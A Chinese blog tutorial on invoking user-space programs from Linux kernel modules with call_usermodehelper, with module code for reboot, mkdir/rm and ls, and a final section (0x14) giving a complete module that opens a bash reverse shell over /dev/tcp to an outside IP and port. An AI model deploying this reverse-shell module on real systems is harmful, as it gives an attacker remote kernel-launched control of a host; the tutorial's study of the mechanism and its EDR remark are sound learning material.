Linux内核态调用用户态函数
0x00 程序怎么被执行无论是内核态还是用户态函数最终都会执行 do_execve()内核态 sys_execve,在 Linux 0.11 源码中,0.11/include/linux/sys.hextern int sys_execve();fn_ptr sys_call_table[] = { sys_setup, sys_exit, sys_fork, sys_read,sys_write
·
0x00 程序怎么被执行
无论是内核态还是用户态函数最终都会执行 do_execve()
内核态 sys_execve,在 Linux 0.11 源码中,0.11/include/linux/sys.h
extern int sys_execve();
fn_ptr sys_call_table[] = { sys_setup, sys_exit, sys_fork, sys_read,
sys_write, sys_open, sys_close, sys_waitpid, sys_creat, sys_link,
sys_unlink, sys_execve, ...};
而sys_execve底层又调用了 do_execve,其在 0.11/kernel/system_call.s 中定义
.align 2
sys_execve:
lea EIP(%esp), %eax
pushl %eax
call do_execve
addl $4, %esp
ret
do_execve是真正执行函数,在 0.11/fs/exec.c 中定义
/*
* do_execve() executes a new program.
*/
int do_execve(unsigned long *eip, long tmp, char* filename,
char **argv, char **envp)
{
if(!(inode=namei(filename))) /*get executables inode*/
return -ENOENT;
argc = count(argv);
envc = count(envp);
}
0x01 内核态调用用户态函数
在内核态可以通过 call_usermodehelpere() 函数实现对用户态函数的调用,其最终也是通过内核态函数 do_execve() 实现。
0x11 调用无输出无参数命令
示例: 调用 reboot 命令
call.c
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
static int __init test_init(void)
{
int ret = -1;
char path[] = "/sbin/reboot";
char *argv[] = {path, NULL};
char *envp[] = {NULL};
printk("call_usermodehelper module isstarting..!\n");
ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);
printk("ret=%d\n", ret);
return 0;
}
static void __exit test_exit(void)
{
}
module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");
Makefile
obj-m += call.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
执行
insmod call.ko
通过call_usermodehelper_setup也可以调用(call_usermodehelper_setup)用户态的函数
0x12 调用无输出有参数命令
示例: 调用mkdir/rm命令
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
static int __init test_init(void)
{
int ret = -1;
char path[] = "/bin/mkdir";
char *argv[] = {path, "-p", "/root/test", NULL};
char *envp[] = {NULL};
printk("call_usermodehelper module isstarting..!\n");
ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);
printk("ret=%d\n", ret);
return 0;
}
static void __exit test_exit(void)
{
int ret = -1;
char path[] = "/bin/rm";
char *argv[] = {path, "-r", "/root/test", NULL};
char *envp[] = {NULL};
printk("call_usermodehelper module isstarting..!\n");
ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);
printk("ret=%d\n", ret);
}
module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");
Makefile
obj-m += call.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
执行
insmod call.ko
0x13 调用有输出有参数命令
示例: ls -la
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
static int __init test_init(void)
{
int ret = -1;
char path[] = "/bin/bash";
char *argv[] = {path, "-c", "ls", "-la", ">", "/root/ls_output.txt", NULL};
char *envp[] = {NULL};
printk("call_usermodehelper module isstarting..!\n");
ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);
printk("test_init ret=%d\n", ret);
return 0;
}
static void __exit test_exit(void)
{
int ret = -1;
char path[] = "/bin/rm";
char *argv[] = {path, "-r", "/root/ls_output.txt", NULL};
char *envp[] = {NULL};
printk("call_usermodehelper module isstarting..!\n");
ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);
printk("test_exit ret=%d\n", ret);
}
module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");
0x14 反弹shell
示例: 反弹shell
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
static int __init test_init(void)
{
int ret = -1;
char path[] = "/bin/bash";
char *argv[] = {path, "-c", "bash -i >& /dev/tcp/47.111.147.96/10086 0>&1", NULL};
char *envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
printk("call_usermodehelper module isstarting..!\n");
ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);
printk("test_init ret=%d\n", ret);
return 0;
}
static void __exit test_exit(void)
{
}
module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");
虽然是在内核态调用bash进行反弹shell,但是普通EDR仍然能检测到反弹shell,因为调用的还是用户态的/bin/bash。
更多推荐
已为社区贡献1条内容
所有评论(0)